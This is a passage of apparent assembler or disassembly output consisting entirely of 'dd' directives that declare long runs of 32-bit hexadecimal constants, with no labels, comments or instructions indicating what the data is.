		dd 0E32B014Eh, 0D985BE33h, 81A1D512h, 777D6A69h, 5430E9E7h
		dd 32D70369h, 614C23DFh, 106FAFB8h, 9436400h, 76118D20h
		dd 0E5DB00DCh, 0CA4956Ah, 3F006233h, 343E64FAh,	0DD19C3h
		dd 9CA17174h, 5C11F4BAh, 0FDE60E04h, 0ECC0B576h, 1949A13h
		dd 0E1F066ECh, 80E40888h, 974EBF18h, 0F08C3DE2h, 864F09D3h
		dd 8400C1F2h, 49E7130Ah, 0C311FA03h, 0F8C0B98Eh, 2FFD78h
		dd 64F9AD21h, 97AC681Dh, 4B1281F8h, 0F80013E5h,	0B76136C3h
		dd 0CE967E0Bh, 0E7C0C526h, 6F9DF7B3h, 28C8B813h, 10403413h
		dd 0A8DC2EDAh, 71FF0013h, 55CA8284h, 19128A17h,	64026B77h
		dd 0E3D569DDh, 328FE79h, 0C861EC44h, 21549BBDh,	0D90E08D0h
		dd 0E0EDCAE0h, 141184C7h, 0DDD6383Ch, 0E5D56E00h, 1B6ADF3Eh
		dd 66D3691Fh, 234642CFh, 1109FADh, 7871FA29h, 87D55F68h
		dd 0D1802910h, 63476684h, 91BB6010h, 1EBC75E7h,	24923E00h
		dd 4B084h, 7D196C8Bh, 78FD8FA2h, 229E4703h, 80E05495h
		dd 0A21FD6DDh, 9159C094h, 82A95878h, 46735200h,	0F5456031h
		dd 80A03800h, 8C16E796h, 1DF3F239h, 0B0DC1A71h,	21AD51F1h
		dd 242AE324h, 0C003E09Eh, 88718CACh, 1828EB5h, 0EF180F2Fh
		dd 0F8F5B6F4h, 80920625h, 0A945B107h, 0A390F2E3h, 1F562ADCh
		dd 0D8C1F7E8h, 0E943891Fh, 203EE026h, 8DFD50h, 6C02BC67h
		dd 2EF75AD8h, 6FFB300h,	27D9C34Dh, 402D4DD6h, 43230074h
		dd 6917EFDFh, 501E765h,	88DC6407h, 2DF25ADh, 8724D359h
		dd 2C40BFE3h, 0CFE0D1A5h, 58BD8CB0h, 0D7343C5Dh, 0D9BEE804h
		dd 17B4985Eh, 7D34F949h, 0F6E1B900h, 0AD99CB26h, 7E1101D0h
		dd 5E8DE333h, 0B638481Dh, 264DFC1Ch, 0E000A468h, 7B2A2BDDh
		dd 78F1F4C7h, 7C9069h, 123EB662h, 4EF954FCh, 894A1F39h
		dd 4B72344h, 74C3D2A0h,	6EA1A04Dh, 0F2AB007Eh, 899E2695h
		dd 0B5002E11h, 46096652h, 17E0A096h, 1DC7F121h,	591481DCh
		dd 0E4FAD06Ah, 0BF3CF425h, 7D19EEDh, 3119B518h,	2EEE8A4h
		dd 2741CE25h, 0ACA0264Eh, 37C7F215h, 622AB509h,	4828002Fh
		dd 60277602h, 0AFA01164h, 340298F2h, 0D760543Ch, 139C8045h
		dd 668AA7h, 3EB7E64Dh, 0B650854Ch, 687049h, 6C963D8Ch
		dd 77B299CAh, 701F224h,	62F1D05Bh, 1E4CA0D5h, 4100C3ABh
		dd 963AA291h, 15774F7h,	3542584Dh, 300F2288h, 0A0065094h
		dd 8D47E62h, 0E1AE0010h, 173654D0h, 0CD71BCE0h,	0AD5D3F00h
		dd 0FA08B123h, 73270FC2h
		dd 0EBC0D963h, 0B7DC2A36h, 72C6C902h, 5228F0A4h, 95173A1Ch
		dd 27FFFA05h, 492CC171h, 4DFEE040h, 22839h, 0AF2E1889h
		dd 7E41627h, 8CB55259h,	2DD5F0F4h, 4A008910h, 0A249986Fh
		dd 94C59Fh, 35ABA8B1h, 620AE85Ch, 15184C12h, 0EC31B805h
		dd 0B6F365C0h, 0FEA61344h, 84800050h, 74B96E15h, 8ABA5200h
		dd 642DBD2Ah, 7A8F00AEh, 0CEDB5FE9h, 510708C7h,	9E3AD79Fh
		dd 38E06226h, 0DC800710h, 50F9BACAh, 0A8047419h, 0B95CB0BCh
		dd 0F974CB0h, 0AE777B5Dh, 6AAA6980h, 0F200E254h, 0AC56DEC3h
		dd 1444E926h, 0A428FBB2h, 29583502h, 0B8806204h, 866C2BD2h
		dd 0C4D06606h, 190D2Dh,	7F84ED4Bh, 31C259F5h, 64731800h
		dd 0E7D70DFFh, 38EB00A5h, 0D2DDD17Ch, 88006FFAh, 0EE5FB06h
		dd 4152EDh, 0A8BD9CEh, 0A8ABE2B2h, 2400C772h, 8E439C5h
		dd 40C90C4Dh, 120048AAh, 0D5198D86h, 4050B5h, 8A856D9Ah
		dd 7B0DC921h, 0DC673Ah,	931B3FCFh, 1C19BD4Bh, 806C1065h
		dd 23B19835h, 2200E26Ah, 0D7CFDDD2h, 70A97Bh, 9E2A7E14h
		dd 1CF9168Fh, 0F7D5FB03h, 0B083218Bh, 762F5C5h,	51C94E6Ch
		dd 0E2A9D054h, 163AB319h, 0C6FA000Dh, 675CCF9Ch, 53AE1673h
		dd 30310064h, 368C74A0h, 0A1229800h, 0BD8582BBh, 183501A2h
		dd 0B59E5B43h, 0EBA3C026h, 1D7E390Bh, 62E10002h, 2173470h
		dd 0C45B9308h, 0F8405D03h, 0E217BC4Dh, 3AE8B828h, 10607A00h
		dd 0A46AE7BDh, 6636500h, 0E625215h, 0B946006Eh,	9777C27Dh
		dd 6500CBE1h, 63124AEDh, 605633h, 62A9677Eh, 0BEF6DE55h
		dd 490C1F00h, 0DF37E9CDh, 67BD0113h, 9C93236Fh,	0D2BBCCB7h
		dd 7C157F3Fh, 819EB01h,	3A6AA0B2h, 0A80243CEh, 3E7F17h
		dd 0C7A29673h, 0C3223204h, 2AB86E03h, 0D0903B95h, 66097Ah
		dd 0FD69A817h, 289CC5B4h, 0B3108700h, 8A61CAD7h, 0F99200EFh
		dd 54D9FCEDh, 81EF598h,	0A0004F8Eh, 0B0B5583Dh,	0BC02177Ch
		dd 0E76D0078h, 62BEE123h, 4874CC0Fh, 0C55A80B9h, 3160A6A0h
		dd 8460110Fh, 4DA7FCE7h, 175D100h, 71CC5A4Eh, 0E9681C14h
		dd 52E6406Bh, 0A4105BF8h, 0F107E200h, 0C9873EBFh, 76AB076h
		dd 51D504DFh, 3D2250ECh, 707C8CBDh, 45369701h, 95E667DBh
		dd 1D33DCh, 16A9B884h, 4A74AD4Bh, 0D89F3Bh, 190AED34h
		dd 1D3B3C67h, 9E321617h, 85E082ACh, 0CAE05388h,	0E4005CCDh
		dd 435BCFEFh, 0DDE949h,	3E802CBh, 2925F206h, 0A0935C01h
		dd 964E5A1Dh, 0DBB5F4h,	3BD3F1F0h, 0CD67B4A6h, 7A797D07h
		dd 1EA064FEh, 1C3CBA14h, 82CFD9FBh, 2687B8D2h, 5EC0FF80h
		dd 840004EFh, 0A2913A1h, 0EA482152h, 0F81A000Ch, 3F241EAFh
		dd 4701BB7Fh, 7AA60D20h, 8CC8ADF7h, 0F3EAB5h, 0B6A03DD1h
		dd 9FFD2C79h, 0FB73B800h, 5E012B91h, 0A1CB01E6h, 2A13EAB3h
		dd 87D8F747h, 0E0ECF765h, 7015C100h, 0B57BFF2Bh, 19A71E7Ch
		dd 772C04Eh, 0CDDFF02Ah, 0DDACFA00h, 0C87405DCh, 6D78B4h
		dd 956A0DB1h, 0B7B9E49Eh, 0A7E27D0Fh, 8D5840C9h, 2B5003h
		dd 883B1AF4h, 961C17DEh, 0E12DC007h, 5EB146D9h,	60801649h
		dd 0D88A9704h, 0DC067F8Bh, 0ACCAC83h, 0E39D0E18h, 9285D9BBh
		dd 8D18385Fh, 8F041774h, 9144407Ch, 0BB6B6480h,	5A59000Ch
		dd 0EA3ECB96h, 420D4AAEh, 0D8C36308h, 3A769560h, 2C51DB77h
		dd 0C5D12088h, 0B301F890h, 3C1DEBE8h, 0EDB07AEAh, 6B7A85h
		dd 0D18BBE1Ch, 47760850h, 4925562Eh, 4004D80Ch,	16450058h
		dd 4EE8D371h, 43E8AB6Dh, 85F46F06h, 870F3D0h, 814772Ah
		dd 0E08B3F3Ch, 0D51F2DD0h, 222300E1h, 0B081D043h, 0D8E63206h
		dd 60962907h, 92B0D6E2h, 121AF511h, 72D0D4h, 94F1F26Dh
		dd 10171ACh, 632B73A7h,	1880F5E6h, 0DDD48952h, 0C0F80A37h
		dd 995C5103h, 9E60272h,	16AC8F20h, 0C52BB420h, 0C67F891Ah
		dd 84730C0h, 6133C1Ch, 2D79DC75h, 40C418E7h, 0F1FFE18h
		dd 6F039D54h, 58C1F8E1h, 834F2161h, 5BE92A28h, 8FE9050Fh
		dd 87BCD28Eh, 4CDB650Dh, 0DF092098h, 89CBAC78h,	51740C99h
		dd 2BD70685h, 0D1109383h, 0DAA67900h, 0A0170A2Dh, 41056FF7h
		dd 83D9AAE0h, 0EE549633h, 9D0F70B4h, 0E1731B13h, 1A992B23h
		dd 5A6B9880h, 0D54A69B8h, 6C60D466h, 23870071h,	0C29424CAh
		dd 10E00F7Ah, 0D5C4B600h, 5F4656ADh, 0DC013DF6h, 86733080h
		dd 0F26A9325h, 0A9723600h, 4B337F8Dh, 4887008Ah, 0AD60D803h
		dd 0F51EF12Ah, 95804569h, 28765B6Ch, 4A738Eh, 804725A4h
		dd 0B502645Fh, 8150B63Ah, 6E12B877h, 1FC8A6D3h,	0E4C01F1h
		dd 173E28B3h, 5B38F8A3h, 0B50A4D0Fh, 4F4400CFh,	5F8785Dh
		dd 880FF291h, 3FAC40D5h, 4AB4FBF6h, 77BA0500h, 8F4F1606h
		dd 0B821C0C8h, 0C5AFE198h, 878C173Eh, 59CD841Ch, 0C40C8000h
		dd 5AEE47Eh, 81475E5Dh,	1BAC0508h, 0A301F6Fh, 3C9C74Dh
		dd 0C04BB2BFh, 0D68F1818h, 339BC21h, 5A627BB1h,	6FE0C167h
		dd 0F1007742h, 0CB487218h, 0A0886C8Fh, 52548h, 4189F59Ah
		dd 0DE385895h, 8F02C4F8h, 8CFD59C1h, 501CC0EDh,	774D0054h
		dd 862A6DE4h, 3A0485BDh, 10EC6567h, 3BBFB080h, 84C20038h
		dd 4B5E1C39h, 0A800319Eh, 68A6950Fh, 0FE3CA075h, 74D9778Fh
		dd 773B00D8h, 3D2B83F0h, 95002074h, 4F0441B4h, 4D8ECC11h
		dd 1B0C1813h, 84B1D96Ah, 0E952DD0Fh, 445E725Ah,	0F6483E43h
		dd 201100ECh, 29028D63h, 4B0061E2h, 939FB5FFh, 474EE8Ch
		dd 1D3D4E50h, 795082DCh, 3043B287h, 6D05A1A7h, 9A600D00h
		dd 0EB705B20h, 0CFA23933h, 5854E0CBh, 8BCD320Dh, 40B11DDh
		dd 0DBA4B0C3h, 48EB1004h, 0D080BC13h, 8EBF61h, 7B8CB6A9h
		dd 2A1C86E5h, 6DDD0600h, 0B55B13C0h, 0AE630042h, 0FA2F3008h
		dd 100E6D6h, 0F2D32434h, 0B3AD52h, 4E902922h, 16E3FA78h
		dd 9900207Ah, 510B64D7h, 97BA37h, 0AB1D6938h, 0A5F3EC71h
		dd 4FF04E74h, 37FFC900h, 0B6DAF944h, 115091Fh, 0D280AE31h
		dd 647995Ah, 93C983Dh, 80113E22h, 82FD4869h, 83020EEEh
		dd 6AC0B034h, 0BBF067E6h, 0E2513B00h, 754CE5F5h, 0C93A0019h
		dd 745989Ch, 0DB3BC285h, 0B63F8030h, 0DCF6EDCh,	0E98800A9h
		dd 8205AC64h, 36031B37h, 76BB242Dh, 531950FAh, 0D20D01E3h
		dd 9641A719h, 1EBCC465h, 7DD37500h, 9EAD570Eh, 83423A6Eh
		dd 0FE2FC680h, 423E652h, 40A80A00h, 8F4AD846h, 0C46402E0h
		dd 7EDDEBBEh, 6305D0A0h, 0A230CEF0h, 5E4870C6h,	49060091h
		dd 3AEFAEC3h, 0F300A3A4h, 3D2EFC31h, 1E1F29ADh,	559A10Dh
		dd 203FCEB5h, 0ED535F8h, 0CFF024Ch, 302FA729h, 6347184Fh
		dd 0CCE56133h, 7003AA76h, 6EB0760Ch, 846AB0BFh,	0A1E0050Eh
		dd 0C09D9938h, 875FDDAEh, 0B6640A1Fh, 0D8F168C0h, 0D10DA4h
		dd 21F472C2h, 0FBC7E32Bh, 0C9221600h, 0EC5CE80Fh, 0DCF4D2h
		dd 0AE46418Ah, 0BDB44C7Fh, 0FB6A7500h, 0E60B3D6Ch, 0B57798FAh
		dd 41EFDD8h, 20405115h,	89BE2511h, 0E4B201A2h, 0EF1C37C9h
		dd 924DF46Ch, 80C45C00h, 10AF8AF2h, 0CCA0A1DCh,	0CCE70h
		dd 81A3577Fh, 6093DFFh,	0A000BFFCh, 5A988925h, 0B9683FDh
		dd 0FAECBA2Bh, 53F4D400h, 6E0E0CDAh, 204F99B7h,	24368494h
		dd 0C3751F8Dh, 0AF2800E7h, 2F596105h, 3852E39h,	26FA8A58h
		dd 515B9940h, 0ACA7DCh,	64ABFDFCh, 0CDDC9D4Ch, 73157B06h
		dd 0E2187h, 9FEA7959h, 0CA5604E9h, 0C3A0F82Eh, 8CFECE05h
		dd 0D5F4DC41h, 6A700672h
		dd 3B9855h, 0E445BBB5h,	500A1F17h, 9FC5A500h, 0E353E18Ch
		dd 79FB01D4h, 0AD3C87F2h, 0C3BAF8FFh, 0C0717502h, 44A127AFh
		dd 6D640104h, 8B6B09FBh, 4B20244Ah, 91DC5107h, 0B6F0A7B2h
		dd 0EEC27EFCh, 0EBF400B7h, 620EC964h, 21004218h, 0DC8C3F56h
		dd 71FF16F1h, 0A08F00AEh, 8DA4B79Ch, 0CE185AEAh, 58D0E7F7h
		dd 277388E5h, 8047BE39h, 6FCB0119h, 3BCAAF78h, 0F2001035h
		dd 8977D513h, 6903666Bh, 533A63E3h, 1080B449h, 90AA48A6h
		dd 0B2650018h, 172DD6C3h, 3A00D8E4h, 3CAE9560h,	16BC597h
		dd 0B3CC31DDh, 24D39EA1h, 12009870h, 0C03004B1h, 14D5CC8h
		dd 0E48A96FFh, 0F4C68C68h, 0D4005FB4h, 818DC5ABh, 9A4E67h
		dd 4AA0B6D8h, 0D1D0EA70h, 987DDE7Ah, 5C6DAC06h,	11DFD7h
		dd 5650639Bh, 89DA72F5h, 0B6ED8F00h, 1C437126h,	128C0038h
		dd 607B9DAEh, 0A700F352h, 2C052858h, 7EDAC203h,	42A61EA2h
		dd 6DB50EBAh, 2843CAE0h, 64007918h, 0BD5D745Ch,	0E1676Eh
		dd 46B3B890h, 5575CAEAh, 3C2D0509h, 737C00DFh, 0E667E5h
		dd 6541D5BCh, 0CC2A9DCAh, 59F29400h, 9290FA0Ah,	0DDDA015Fh
		dd 0C3E65167h, 7E1CF085h, 0B0B11503h, 0C81496E1h, 0D21F8Ah
		dd 0CA478F48h, 4E99DADDh, 1C7ED300h, 71819DB0h,	6003013Ah
		dd 0DC6DBE7Bh, 0BBC9F067h, 0C0B15626h, 0D21FF31Fh, 4AD63FC0h
		dd 647F162Ch, 86A6B0BAh, 0D0C0B082h, 1C24E53Bh,	0ED9405A1h
		dd 80DE5Dh, 0EE5E30C4h,	3C188B54h, 0E6806004h, 7C583B97h
		dd 0E366FA01h, 20CFA3B5h, 0E7062D60h, 4675FDF3h, 0C1CA0011h
		dd 1C301239h, 0CE0E2510h, 0A7852A36h, 0AE00215Bh, 4DCC0EA5h
		dd 520088A1h, 0C51D7BB5h, 89584745h, 26D80028h,	91D96810h
		dd 0A89A76h, 0C20B3F7Eh, 15274BC1h, 0DCC41F01h,	6E2F66ACh
		dd 7A5D8440h, 34CF3DC5h, 0FA87CACh, 76206A8Ch, 1AD7F96Fh
		dd 0D0C16D32h, 7714C6C3h, 19CD60EFh, 7E502729h,	3C1EC500h
		dd 832210Fh, 91641D6Fh,	372440A2h, 0E0FECD0Ch, 0D81BD618h
		dd 140BC239h, 0F0908168h, 0D9C0AF00h, 64B17EB6h, 7F506F00h
		dd 0EE8EB412h, 857100E2h, 0C0CF4D32h, 8D7F1BCCh, 74B34A00h
		dd 0CA89DC97h, 8EB700AAh, 780B1265h, 0AEFEB60Eh, 19B05700h
		dd 34F8D2ABh, 189899h, 0CB1C3D54h, 0C2F492C5h, 5D211F04h
		dd 48C020DAh, 4515CCh, 77AD0CA3h, 3D2A0847h, 0CD6B8001h
		dd 322C8EABh, 19E6C8h, 0BE0CE0Ah, 0E479C5B1h, 6A02B407h
		dd 54A05285h, 395113C3h, 0AB0093DAh, 3F12C297h,	0BA00A39Bh
		dd 0FE9AA078h, 49C77CE7h, 4700985Ah, 5C7EB942h,	1A0B112Dh
		dd 64D3F4h, 0A5BFB45Fh,	22381FE7h, 0EC6F86C4h, 8D3B4095h
		dd 962507F4h, 92E7F859h, 0B1B25190h, 0F2982AD6h, 0C9E202CFh
		dd 9B24FF19h, 449A0C48h, 401FD174h, 29C110E4h, 9121C8CCh
		dd 1EB9FCh, 7D1480F9h, 68B28ADFh, 0BB72C539h, 437B0F41h
		dd 3420C0B8h, 0E22E0A9Dh, 363012D6h, 5D940074h,	98313988h
		dd 101EECA3h, 0B03E3860h, 39D82122h, 554F1CC9h,	29BD406Dh
		dd 0A38BDB91h, 2F047300h, 0DDB89F21h, 8D9600B3h, 0BD237684h
		dd 74399BD3h, 0DCFA83E0h, 0C1195C07h, 508E6245h, 5E875B1Ah
		dd 30EFB0ADh, 940266F5h, 781B12C5h, 576C600Bh, 8050F59Bh
		dd 0DED85818h, 20ED01A0h, 8111B3F6h, 0FFEFA438h, 1041541Bh
		dd 1C409F57h, 78E316h, 6166BC70h, 0E3799D6h, 50D51D07h
		dd 4FA712CDh, 1B96A291h, 0B8DDC4h, 0E263580Ah, 0D41E6D82h
		dd 430CC502h, 686F3F2Bh, 768C22Ch, 98B2DE1Ah, 7A69101Ch
		dd 35002E0Eh, 0AD9438AFh, 0E1728C8h, 218370A1h,	22EE6183h
		dd 0F1A36DABh, 0BEF849E1h, 0DC5D0008h, 57C8ED78h, 0AF690059h
		dd 2EE30D17h, 4600B613h, 6185A882h, 3B204CA6h, 3600582Bh
		dd 5E6FDCEDh, 0E33C5F86h, 70411E02h, 0A7D42E04h, 0BAFD4EC0h
		dd 6BC30098h, 4424C2FFh, 2000F283h, 0B802A7DDh,	390B2FDh
		dd 9F0379BCh, 0B6D024C7h, 68DCBDB1h, 86BA3E8Eh,	36A9EC4Ah
		dd 0C07C6D01h, 7D1B3B03h, 0C0CE2A29h, 0F8979209h, 7A7C0026h
		dd 9FC394D8h, 0C9F81645h, 0E1FD9F8h, 36C07D17h,	70D1532Ch
		dd 8AEF06A0h, 40CC1BC5h, 8E73230h, 772B4C9h, 2AD893B1h
		dd 37E4819Ah, 426CE4BAh, 0A70020DFh, 33142634h,	960C0C1h
		dd 0B9BD1248h, 50DB1600h, 1C1ACC76h, 78CA2CD3h,	3E003FDEh
		dd 62D5B71h, 0B20FDD9Ah, 0A027D07Fh, 28A41EBAh,	9CD14CEFh
		dd 3307AA39h, 60F106B9h, 16143403h, 6E04A507h, 4660FE4Bh
		dd 0E683A8DFh, 32731861h, 9F2DB9F3h, 91014100h,	69A23FAh
		dd 8E1C00A5h, 54C240AFh, 3E6018EFh, 474892B1h, 0CBDB330Eh
		dd 1FA87711h, 43024EFCh, 79D47CC7h, 18A0A017h, 60490719h
		dd 8C0A1147h, 3F29448h,	0FB713B03h, 0F845FA90h,	0EEC343D1h
		dd 355F0018h, 3DED895Eh, 963DBC73h, 0F45035Bh, 0C0A4269Fh
		dd 3A8CC103h, 200F2B4h,	3723CE9Ch, 0F606673Dh, 66B97D6h
		dd 21D96908h, 0E4377483h, 969876F8h, 51883306h,	21E6B3h
		dd 0A040C3Eh, 1237168Eh, 0FD816B00h, 2EFE5F3h, 0C6863046h
		dd 94E1EE28h, 100DD900h, 48F278E6h, 0E408CCB6h,	8C00CB21h
		dd 46550BD9h, 0FA7B71EBh, 848064Fh, 70EE8721h, 7EA5B600h
		dd 0ACA66D2Ah, 47FC006Eh, 60718E26h, 27F01381h,	0D58D8403h
		dd 1BC6F170h, 609DBD88h, 34A9023h, 1019D990h, 8EA867D4h
		dd 0E9C08807h, 6FFE791Fh, 16D7D200h, 96AAE483h,	4048000Ch
		dd 0FB179A04h, 853470D4h, 8C4F70FFh, 9BFC26EEh,	0A0AF00B8h
		dd 881A7E95h, 0B90F7BF0h, 618C458Fh, 0F76A219Ch, 40E22981h
		dd 0D1811FA5h, 585660D2h, 21D108CCh, 0A54900B7h, 29B11046h
		dd 8D72B03Ah, 5F3C002h,	9DAAE999h, 46BBF0h, 44585931h
		dd 7B82E10Fh, 0C2EE16F1h, 29A6004Dh, 6FAE10FCh,	0F4D96600h
		dd 79F9498h, 24A500E0h,	74037B33h, 0F8E55B61h, 2F000608h
		dd 49856690h, 7D45D05h,	6C22F420h, 0AB602052h, 0FA7B428Ch
		dd 3C077B17h, 975B5100h, 17E601h, 42A7524Dh, 8C559A8Dh
		dd 0AFE1771Eh, 80FFF5C0h, 28663D2h, 3361E5B1h, 57614465h
		dd 0B955F0B6h, 0E2576000h, 23477BD9h, 3641008Fh, 0BAEAE5FBh
		dd 0C2003907h, 2C704EB6h, 3DFADA22h, 0A29E67B9h, 8DEE00E0h
		dd 63ACABDCh, 0F3BB600h, 25F2F56Dh, 6B230012h, 4964BF15h
		dd 0FD00EC96h, 440C8D3Eh, 1FA5A410h, 146DF84Ah,	0BA00FBE3h
		dd 940946FDh, 0CC098373h, 7A39D2Ch, 0F9F082D7h,	0DBB15Eh
		dd 3012A775h, 504ECB0Dh, 1C799600h, 4ACA8DF7h, 0A23537A5h
		dd 7C48058h, 0EC037334h, 2399D306h, 7608303Eh, 340FE921h
		dd 334EA718h, 83775F50h, 0A3519964h, 65340D60h,	1116EC23h
		dd 15E700BFh, 0D2F61034h, 3BCE632h, 0A17455B1h,	9E88417Bh
		dd 9C0E97B5h, 0A08E440Dh, 8DF5A2FDh, 0D84A00A4h, 6E0B626Ch
		dd 7E19C94Ch, 0E0085477h, 64B12180h, 13385562h,	42EC520Fh
		dd 0F7AD8315h, 0F950069Eh, 0C0AA802Ah, 0F2CA6E18h, 109239h
		dd 0C27D1269h, 1636BA5h, 0F1019890h, 4976520h, 95F87930h
		dd 5B2C0081h, 9F38EC21h, 2000ADE2h, 0F4DEF9EAh,	1B4005h
		dd 2F53E5A3h, 3E1E2178h, 14FE341Fh, 55A60E40h, 26031FD0h
		dd 6EDE10Ch, 4021D579h,	420A929h, 9DD218D4h, 0C97810E4h
		dd 19DA5F00h, 0ED032CB9h, 1E613E8Bh, 0D2FEFC00h, 0A8F373B8h
		dd 62649DF0h, 42211829h, 10CC1279h, 4886302h, 77278801h
		dd 0E3102089h, 390B4AF2h
		dd 792576h, 19AF8B1Fh, 0DEFF0112h, 0B2C2209h, 0A1DF7083h
		dd 615D3100h, 0D5F0DDD7h, 0FF4C3F02h, 8EF53500h, 0A22C4AD8h
		dd 0B236480Eh, 46BBA12Ah, 0F1807943h, 0CDBDF888h, 0E5EE0F22h
		dd 330AC1C0h, 0F39F2A7h, 1B0D0662h, 164B0132h, 0E47DB405h
		dd 3000FC86h, 0EF406BC9h, 0F74CAAh, 0DF3AC73Eh,	0A732D1D6h
		dd 0EA1C0400h, 392A4AAFh, 1B0637D9h, 8075A510h,	13283E66h
		dd 0B25C0C0Ch, 1F90A0h,	0DAA220A1h, 93E8C28Dh, 0D6F8BD1Fh
		dd 0AFE26D45h, 0FF7D92C0h, 0E55100A6h, 0C6345DDCh, 720E6685h
		dd 40C7ADC9h, 7C4C9E04h, 0EB7673h, 2808F8C4h, 989670DAh
		dd 3FBB1900h, 0B4C807A0h, 0C9380316h, 269E4F56h, 0F2289B88h
		dd 72D0B600h, 1FB9416Eh, 3A87005Dh, 45337B76h, 0B4004010h
		dd 567F20B5h, 74CEB09h,	365B174Eh, 0F318DCA1h, 4F0F7300h
		dd 11641618h, 803803A4h, 0D36C67Ah, 81C037E3h, 0F914BE52h
		dd 9C4FC16h, 804E1CA4h,	0D37CD6F7h, 0FA31E6FEh,	9EB100B4h
		dd 8C5EE439h, 5D017555h, 732A54DAh, 6B706935h, 447107EEh
		dd 0A00468D9h, 154BB6C9h, 1A6A2D05h, 0B88007D4h, 9081558Bh
		dd 3AC0F210h, 9283040Ah, 7137059Eh, 0DB50B3F0h,	2B266A09h
		dd 0D10020A2h, 77D0A8C1h, 8822CC0h, 0FADE0413h,	0AFC0804Ch
		dd 2F0003C2h, 6C7FA4B9h, 15B52Bh, 35F5BC66h, 4351B819h
		dd 89BE0D00h, 11DD0F41h, 0DE310063h, 200A85E9h,	0C60137C9h
		dd 4B3B4D12h, 0A4C88C82h, 0B147074Eh, 335159A0h, 22B8B5F3h
		dd 973EC58Fh, 555F80C6h, 67602670h, 2E3C0EE9h, 7DBE7Eh
		dd 1F8A3531h, 6800ACC6h, 0EC6A045Ah, 0F3C335Fh,	4AE211FDh
		dd 163023A0h, 0B03C3DFAh, 0A4C4127Bh, 0D07EFC0Ah, 8AD6B00h
		dd 0DC5645h, 0DCCD466h,	3EBCE415h, 8478903Fh, 5CF2874Fh
		dd 8048080h, 977D2Fh, 0A8FD5E76h, 4AF38FABh, 0A02C3400h
		dd 37AFE4E2h, 0F7FF2458h, 0D10780B4h, 45439AC9h, 1B6A5D00h
		dd 0DAB232AEh, 0D4200FB1h, 19202C9Bh, 496EFC23h, 1504ED01h
		dd 71D2E3E6h, 193CB4E8h, 4863251h, 177DD477h, 5B836400h
		dd 5ACDDC31h, 3820C57h,	1ADCF9B9h, 0CC134700h, 1CF3D07Eh
		dd 0AC773B0Ah, 0DF8A6B00h, 4BF4BB81h, 61F96300h, 0C0EE6CFEh
		dd 33FA00A3h, 5788850Ch, 5492528Fh, 8A50901Eh, 27604358h
		dd 152924B2h, 12E40088h, 0C789D004h, 0A8E19100h, 36166143h
		dd 0D2ED0179h, 0B87EDD5Ah, 0E9984055h, 5D3FF586h, 5464A4C9h
		dd 2A93B04h, 2FE6A000h,	2A24960Ch, 53004C69h, 0CF8E23FFh
		dd 63F0D9h, 7F1421A6h, 865C20E9h, 1490BA26h, 0AD00C41Dh
		dd 85E2BDB7h, 9A7B7B8Fh, 4DDEC074h, 0A80C59F7h,	8B08EF00h
		dd 5A02FEAEh, 0C7D10023h, 0A5C1BE74h, 9A4841FCh, 0FD770070h
		dd 18C648E4h, 2299003Bh, 1EE98ECEh, 0A300F7E5h,	0EB6E2EB2h
		dd 855570h, 1DCE5EAAh, 92861204h, 0FE0041F0h, 50A10572h
		dd 3E35EFD2h, 21008C2Fh, 4071A753h, 0CA00E785h,	6878970Ch
		dd 0F5BF8E6h, 0D4EBDED9h, 175A53E0h, 3F7D2625h,	0F2607624h
		dd 631DE803h, 40A6AA24h, 0F8FA225Ch, 575800DFh,	0C4885A6Ah
		dd 0B21EE87Fh, 0E2C01076h, 32211D71h, 3E877F23h, 0FC1F14B0h
		dd 0B280FCDBh, 97B6790Ah, 0BF04F03Bh, 0E06C3988h, 33245B02h
		dd 0D4A10h, 2516680Eh, 3861FAB7h, 1C3E7A03h, 0E5FB8B43h
		dd 0F3CCAE00h, 1AE36DEh, 0FC2AA9FAh, 0FFC09D7Dh, 0D697E0EFh
		dd 1E5027B2h, 0F70065B0h, 0E41DA690h, 1C13C137h, 26C0508Ch
		dd 6191000Ch, 6CCDA9CCh, 3203B600h, 8D8CD83Dh, 0C35E0071h
		dd 0A63E5FA1h, 54797837h, 6939DDF0h, 0DE2580ADh, 972E2679h
		dd 2A7840h, 7CCA10C5h, 0AFAEB305h, 4B50E500h, 45DC8FA8h
		dd 0D48B389Bh, 0D7991103h, 0C3B87F65h, 0EA00C1D5h, 80A4A12Dh
		dd 18AD8Dh, 8262FEE1h, 811B8CF8h, 0E8EE071Eh, 9A40BDDFh
		dd 2E3BE4CBh, 519002B1h, 0A183FAEBh, 5A8B4040h,	9E3C727Ah
		dd 2FF39CBDh, 3B71D582h, 2B7C57h, 0BF9B3314h, 907B931h
		dd 0B5EFA9F4h, 0A61A1D50h, 4D8B3897h, 0B380A88Fh, 3A8BB96Eh
		dd 0D38AE800h, 0A61D231Eh, 0FD9D2C0Eh, 0EA969400h, 3B4B84h
		dd 0C87A5DC5h, 26A057FBh, 0B840FD01h, 4298E8F4h, 0E393830h
		dd 5289E44Ah, 9CEC801Ch, 3F19B321h, 5E605002h, 800AAFFBh
		dd 88F9DD8h, 0D6D0002Dh, 2CD288CBh, 8900DD64h, 49575375h
		dd 4841E3E1h, 1603E861h, 35308A94h, 5AA838h, 1EDE737Bh
		dd 0B381E1h, 7995D94Ch,	58F26B5Dh, 0D3006FFAh, 0FC898A27h
		dd 3779CA6h, 25FE84AEh,	31B8F7D0h, 0AC00DE20h, 0B5395DDDh
		dd 8AFB3h, 0F9402724h, 0A83C7FCh, 0BE8A6F00h, 2E35EBB7h
		dd 0D5FA1314h, 0D6E80163h, 0ECF260EDh, 48FADA67h, 0B0F05F00h
		dd 0C7BFA9F8h, 0A8C800C6h, 0EA1FE3E2h, 45001DF9h, 9FD10DEEh
		dd 0CA3A25h, 0EDB08F65h, 5DE07FC0h, 0C8340701h,	44B6FA6Ch
		dd 76B6370h, 57EC5678h,	9469022h, 0CB1E74D2h, 0EB804CF3h
		dd 14DFFF61h, 0DE98001Bh, 926B47C8h, 811D4FC0h,	0D4EEB8B6h
		dd 0C0FCE196h, 0D393C500h, 0B58BD06Eh, 4991E404h, 82C14F01h
		dd 93F8B8AAh, 0B29000C9h, 0B5A83F68h, 0DC000A76h, 0B3FA8726h
		dd 4B8F4Eh, 0A6D72842h,	8488022Ah, 37DA2D2Eh, 789E1100h
		dd 0E86CFD7Ah, 5BF01462h, 0E703E425h, 0B1C212DAh, 0D8307CF1h
		dd 6A5CFE83h, 0DF0E00BCh, 4D6D1ABh, 790D5877h, 7682F400h
		dd 0DD80F7CCh, 5064C305h, 48C0F65Ah, 120B48A5h,	80CDC231h
		dd 14C871B4h, 0B44CCE7Ah, 0C74B03F0h, 65A107h, 4F69A11h
